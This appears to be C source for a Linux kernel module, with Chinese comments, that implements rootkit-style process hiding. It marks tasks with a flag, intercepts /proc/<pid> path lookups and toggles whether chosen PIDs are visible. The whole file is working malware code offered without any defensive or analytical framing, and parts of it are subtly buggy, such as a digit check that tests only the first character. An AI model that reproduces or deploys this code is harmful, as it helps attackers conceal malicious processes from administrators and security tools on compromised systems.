|
|
#include <linux/version.h> // 包含内核版本相关的头文件
|
|
|
#include <linux/uaccess.h> // 包含用户空间访问相关的头文件
|
|
|
#include <linux/ctype.h> // 包含字符类型判断相关的头文件
|
|
|
#include <linux/slab.h> // 包含内核内存分配相关的头文件
|
|
|
#include <linux/namei.h> // 包含文件路径相关的头文件
|
|
|
#include <linux/limits.h> // 包含系统限制相关的头文件
|
|
|
|
|
|
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
|
|
|
# include <linux/sched/signal.h> // 包含调度和信号相关的头文件(内核版本4.11及以上)
|
|
|
#endif
|
|
|
|
|
|
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
|
|
|
# include "string_helpers.h" // 包含字符串辅助函数(内核版本4.2以下)
|
|
|
#endif
|
|
|
|
|
|
#include "proc.h" // 包含自定义的proc.h头文件
|
|
|
|
|
|
// 设置或清除任务的标志
|
|
|
int flag_tasks(pid_t pid, int set)
|
|
|
{
|
|
|
int ret = 0; // 返回值初始化为0
|
|
|
struct pid *p; // 定义pid结构体指针
|
|
|
|
|
|
rcu_read_lock(); // 获取RCU读锁
|
|
|
p = find_get_pid(pid); // 根据pid获取pid结构体
|
|
|
if (p) {
|
|
|
struct task_struct *task = get_pid_task(p, PIDTYPE_PID); // 获取任务结构体
|
|
|
if (task) {
|
|
|
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
|
|
|
struct task_struct *t = NULL;
|
|
|
|
|
|
for_each_thread(task, t) // 遍历任务的所有线程
|
|
|
{
|
|
|
if (set)
|
|
|
t->flags |= FLAG; // 设置标志
|
|
|
else
|
|
|
t->flags &= ~FLAG; // 清除标志
|
|
|
|
|
|
ret++; // 计数
|
|
|
}
|
|
|
#endif
|
|
|
if (set)
|
|
|
task->flags |= FLAG; // 设置标志
|
|
|
else
|
|
|
task->flags &= ~FLAG; // 清除标志
|
|
|
|
|
|
put_task_struct(task); // 释放任务结构体
|
|
|
}
|
|
|
put_pid(p); // 释放pid结构体
|
|
|
}
|
|
|
rcu_read_unlock(); // 释放RCU读锁
|
|
|
return ret; // 返回设置或清除标志的任务数
|
|
|
}
|
|
|
|
|
|
// 根据pid查找任务
|
|
|
struct task_struct *find_task(pid_t pid)
|
|
|
{
|
|
|
struct task_struct *p = current; // 当前任务
|
|
|
struct task_struct *ret = NULL; // 返回值初始化为NULL
|
|
|
|
|
|
rcu_read_lock(); // 获取RCU读锁
|
|
|
for_each_process(p) // 遍历所有进程
|
|
|
{
|
|
|
if (p->pid == pid) { // 如果找到匹配的pid
|
|
|
get_task_struct(p); // 获取任务结构体
|
|
|
ret = p; // 设置返回值
|
|
|
}
|
|
|
}
|
|
|
rcu_read_unlock(); // 释放RCU读锁
|
|
|
|
|
|
return ret; // 返回找到的任务结构体
|
|
|
}
|
|
|
|
|
|
// 判断进程是否不可见
|
|
|
int is_proc_invisible(pid_t pid)
|
|
|
{
|
|
|
struct task_struct *task; // 定义任务结构体指针
|
|
|
int ret = 0; // 返回值初始化为0
|
|
|
|
|
|
if (!pid) // 如果pid为0
|
|
|
return ret; // 返回0
|
|
|
|
|
|
task = find_task(pid); // 查找任务
|
|
|
if (!task) // 如果没有找到任务
|
|
|
return ret; // 返回0
|
|
|
|
|
|
if (is_task_invisible(task)) // 判断任务是否不可见
|
|
|
ret = 1; // 设置返回值为1
|
|
|
|
|
|
put_task_struct(task); // 释放任务结构体
|
|
|
return ret; // 返回结果
|
|
|
}
|
|
|
|
|
|
// 判断/proc目录下的进程是否不可见
|
|
|
int is_proc_invisible_2(const char __user *filename)
|
|
|
{
|
|
|
int ret = 0, i, argc, is_num = 1; // 初始化变量
|
|
|
pid_t pid = 0; // 初始化pid
|
|
|
char **a; // 定义字符指针数组
|
|
|
char *name = kmalloc(PATH_MAX, GFP_KERNEL); // 分配内核内存
|
|
|
|
|
|
if (strncpy_from_user(name, filename, PATH_MAX) > 0) { // 从用户空间复制字符串
|
|
|
if (strncmp(name, "/proc/", 6) == 0) { // 判断是否以/proc/开头
|
|
|
strreplace(name, '/', ' '); // 替换斜杠为空格
|
|
|
|
|
|
a = argv_split(GFP_KERNEL, name, &argc); // 分割字符串
|
|
|
|
|
|
for (i = 0; i < strlen(a[1]); i++) { // 遍历字符串
|
|
|
if (!isdigit(*a[1])) // 判断是否为数字
|
|
|
is_num = 0; // 设置为非数字
|
|
|
}
|
|
|
|
|
|
if (is_num) {
|
|
|
if (kstrtoint(a[1], 10, &pid) == 0) { // 将字符串转换为整数
|
|
|
if (is_proc_invisible(pid)) // 判断进程是否不可见
|
|
|
ret = 1; // 设置返回值为1
|
|
|
}
|
|
|
}
|
|
|
|
|
|
argv_free(a); // 释放字符指针数组
|
|
|
}
|
|
|
}
|
|
|
|
|
|
kfree(name); // 释放内存
|
|
|
return ret; // 返回结果
|
|
|
}
|
|
|
|
|
|
// 隐藏进程
|
|
|
void hide_proc(pid_t pid)
|
|
|
{
|
|
|
if (is_proc_invisible(pid)) // 判断进程是否不可见
|
|
|
flag_tasks(pid, 0); // 清除标志
|
|
|
else
|
|
|
flag_tasks(pid, 1); // 设置标志
|
|
|
}
|
|
|
|
|
|
/*
|
|
|
void hide_proc(char *pid_str)
|
|
|
{
|
|
|
pid_t pid;
|
|
|
|
|
|
if (kstrtoint(pid_str, 10, &pid) == 0) {
|
|
|
if (is_proc_invisible(pid))
|
|
|
flag_tasks(pid, 0);
|
|
|
else
|
|
|
flag_tasks(pid, 1);
|
|
|
}
|
|
|
}
|
|
|
*/ |